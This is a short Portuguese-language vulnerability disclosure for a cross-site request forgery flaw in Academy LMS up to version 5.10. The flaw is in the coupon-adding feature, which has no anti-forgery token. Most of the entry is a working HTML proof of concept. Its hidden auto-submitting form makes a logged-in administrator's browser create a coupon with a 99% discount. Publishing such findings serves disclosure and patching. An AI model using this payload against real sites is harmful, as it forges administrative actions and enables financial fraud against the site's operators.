
Academy LMS <= 5.10 CSRF
Academy LMS <= 5.10 CSRF
O Academy LMS é um aplicativo onde as pessoas podem criar e divulgar cursos. O recurso de adicionar cupom é vulnerável a CSRF, pois não há token que evite esse ataque.
O primeiro passo da nossa prova de conceito é autenticar-se na plataforma como usuário administrador.
Depois disso, basta acessar a página que contém o código de exploração da vulnerabilidade; veja que um novo cupom foi criado automaticamente.
Código usado no exploit:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/admin/coupons/add" method="POST">
<input type="hidden" name="code" value="vinix" />
<input type="hidden" name="discount_percentage" value="99" />
<input type="hidden" name="expiry_date" value="12/11/2022" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>